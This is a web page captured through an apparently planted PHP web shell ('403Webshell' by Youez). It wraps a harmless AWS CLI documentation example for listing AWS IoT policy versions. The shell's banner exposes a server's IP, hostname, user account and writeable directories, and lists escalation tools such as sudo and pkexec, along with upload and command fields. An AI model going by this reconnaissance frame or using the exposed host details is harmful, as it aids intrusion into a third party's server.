403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/awscli/examples/iot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/awscli/examples/iot/list-policy-versions.rst
**Example 1: To see all versions of a policy**

The following ``list-policy-versions`` example lists all versions of the specified policy and their creation dates. ::

    aws iot list-policy-versions \
        --policy-name LightBulbPolicy

Output::

    {
        "policyVersions": [
            {
                "versionId": "2",
                "isDefaultVersion": true,
                "createDate": 1559925941.924
            },
            {
                "versionId": "1",
                "isDefaultVersion": false,
                "createDate": 1559925941.924
            }
        ]
    }

For more information, see `AWS IoT Policies <https://docs.aws.amazon.com/iot/latest/developerguide/iot-policies.html>`__ in the *AWS IoT Developers Guide*.

Youez - 2016 - github.com/yon3zu
LinuXploit